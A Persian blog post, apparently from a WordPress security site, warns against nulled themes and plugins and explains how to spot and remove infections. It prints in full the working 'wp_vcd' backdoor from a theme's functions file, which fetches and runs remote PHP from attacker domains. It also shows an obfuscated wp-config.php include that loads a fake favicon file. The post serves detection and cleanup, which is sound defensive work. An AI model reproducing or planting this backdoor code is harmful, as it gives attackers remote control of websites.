از آنجایی که اخیرا،استفاده از افزونه و قالب نال شده در بین کاربران وردپرس به شدت رواج پیدا کرده است و افراد زیادی برای حل مشکلات پیش آمده برای سایت وردپرسی خود با ما تماس گرفته اند، لذا تصمیم گرفتیم مطلبی با عنوان هشدار امنیتی جدی در قالب وردپرس آماده کنیم و در آن به شرح کامل این موضوع بپردازیم.
منظور از افزونه و قالب نال شده چیست ؟
به پلاگین ها یا تم های برتر وردپرس اشاره دارد که هک شده اند یا حاوی کدهای اصلاح شده ای هستند که برای ایجاد آسیب یا جمع آوری اطلاعات طراحی شده اند. اینها از یک وب سایت شخص ثالث (نه نویسنده یا سازنده اصلی) به دست می آیند و گاهی بدون کلید مجوز کار می کنند.
از آنجا که مردم همیشه به دنبال راه های کاهش هزینه ها هستند ، برخی از کاربران وردپرس وسوسه می شوند که به جای پرداخت هزینه نسخه رسمی ممتاز،به قالب ها و افزونه های خنثی شده وردپرس روی بیاورند.
متاسفانه استفاده از قالب ها و افزونه های نال، تبدیل به بازاری پر رونق برای برخی از کاربران وردپرس شده است.این امر نه تنها یک مساله غیراخلاقی بزرگ است زیرا این دسته از کاربران فقط به فکر منافع و استفاده ی شخصی خود هستند و هیچ اهمیتی به این موضوع که با این کار خود زحمت چندین ساله یک شخص را می توانند به هدر دهند،نیستند. بلکه با بهره گیری از پلاگین و تم های خنثی شده سایت خود را در دسترسی افراد سودجو و هکرها نیز قرار می دهند.
ما در سایت secwp از تمامی طراحان سایت های وردپرسی خواهش می کنیم از قالب ها و افزونه های نال شده تا حد امکان استفاده نکنید و اگر هم بنا به شرایطی مجبور به استفاده شدید،حتما نکات امنیتی را رعایت کنید.
هکرها از کدهای مخربی که در قالب ها و افزونه های نال وجود دارند، استفاده کرده و اقدامات زیر را انجام می دهند:
فایل اصلی آنها با پسوند ico. بوده و دارای امضایی با نوشته می باشد.
ما برای نمونه نام دو فایل را که از دو سایت هک شده پیدا کرده ایم را قرار می دهیم .
favicon_3a0642.ico
favicon_993c6a.ico
توجه : هر دو سایت هک شده از افزونه یا قالب نال در سایت خود استفاده کرده بودند.
دوستان عزیز فایل فانکشن قالب خود را باز کرده و اگر کد زیر را در ابتدای این فایل دیدید
<?phpif (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'e2ff047d16b22349596858e94eb2133f')){$div_code_name="wp_vcd";switch ($_REQUEST['action']){case 'change_domain';if (isset($_REQUEST['newdomain'])){if (!empty($_REQUEST['newdomain'])){if ($file = @file_get_contents(__FILE__)){if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)){$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);@file_put_contents(__FILE__, $file);print "true";}}}}break;case 'change_code';if (isset($_REQUEST['newcode'])){if (!empty($_REQUEST['newcode'])){if ($file = @file_get_contents(__FILE__)){if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)){$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);@file_put_contents(__FILE__, $file);print "true";}}}}break;default: print "ERROR_WP_ACTION WP_V_CD WP_CD";}die("");}$div_code_name = "wp_vcd";$funcfile = __FILE__;if(!function_exists('theme_temp_setup')) {$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {function file_get_contents_tcurl($url){$ch = curl_init();curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);$data = curl_exec($ch);curl_close($ch);return $data;}function theme_temp_setup($phpCode){$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");$handle = fopen($tmpfname, "w+");if( fwrite($handle, "<?php\n" . $phpCode)){}else{$tmpfname = tempnam('./', "theme_temp_setup");$handle = fopen($tmpfname, "w+");fwrite($handle, "<?php\n" . $phpCode);}fclose($handle);include $tmpfname;unlink($tmpfname);return get_defined_vars();}$wp_auth_key='671f55202565d8b7050045e7ae0d758c';if (($tmpcontent = @file_get_contents("http://www.gapilo.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.gapilo.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {if (stripos($tmpcontent, $wp_auth_key) !== false) {extract(theme_temp_setup($tmpcontent));@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);if (!file_exists(get_template_directory() . '/wp-tmp.php')) {@file_put_contents('wp-tmp.php', $tmpcontent);}}}}elseif ($tmpcontent = @file_get_contents("http://www.gapilo.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {if (stripos($tmpcontent, $wp_auth_key) !== false) {extract(theme_temp_setup($tmpcontent));@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);if (!file_exists(get_template_directory() . '/wp-tmp.php')) {@file_put_contents('wp-tmp.php', $tmpcontent);}}}} elseif ($tmpcontent = @file_get_contents("http://www.gapilo.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {if (stripos($tmpcontent, $wp_auth_key) !== false) {extract(theme_temp_setup($tmpcontent));@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);if (!file_exists(get_template_directory() . '/wp-tmp.php')) {@file_put_contents('wp-tmp.php', $tmpcontent);}}}}elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {extract(theme_temp_setup($tmpcontent));} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {extract(theme_temp_setup($tmpcontent)); } }}//$start_wp_theme_tmp//wp_tmp//$end_wp_theme_tmp?>
به شما این هشدار را می دهیم که سایت وردپرسی شما در معرض هک شدن قرار دارد. برای جلوگیری از این امر، با ما همراه باشید.
هکرها ابتدا در فایل wp-config.php فایل ایکن و ویروس خود را با چنین کدهایی فراخوانی می کنند
@include "\x2fh\x6fm\x65/\x6ea\x67h\x61s\x68y\x2fp\x75b\x6ci\x63_\x68t\x6dl\x2fw\x70-\x63o\x6et\x65n\x74/\x75p\x6co\x61d\x73/\x66a\x76i\x63o\x6e_\x399\x33c\x36a\x2ei\x63o";
که دیکد آن چنین می شود:
@include "/home/8888/public_html/wp-content/uploads/favicon_993c6a.ico";
حال با توجه به نوع فایل و با استفاده از دستوراتی که در آن فایل هست همه کار می کنند.برای مثال در چند سایت مشاهده کرده ایم که ایمیل تبلیغاتی می فرستند.
اکنون برای رفع مشکل این نوع سایت ها باید چگونه عمل کرد؟
1- اول وارد مدیریت شده و مدیران را بررسی و کاربر اضافی با دسترسی مدیریت را پاک می کنیم.
2- وارد سایت شده و اکانت های اف تی پی را بررسی می کنیم.
3- وارد سایت شده، فایل کانفیگ را باز کرده و کد های کد شده در سایت unphp.net زده و مسیر فایل آیکن را مشخص می کنیم و کد را نیز از فایل کانفیگ حذف می کنیم.
4- سطح فایل کانفیگ را 444 قرار می دهیم.
5- جستجو کرده و فایل های مشکوک را نیز حذف می کنیم.
6- بر روی پوشه مدیریت پسورد می گذاریم.
7- برای پوشه های آپلود و برخی افزونه ها فایل ایندکس قرار می هیم.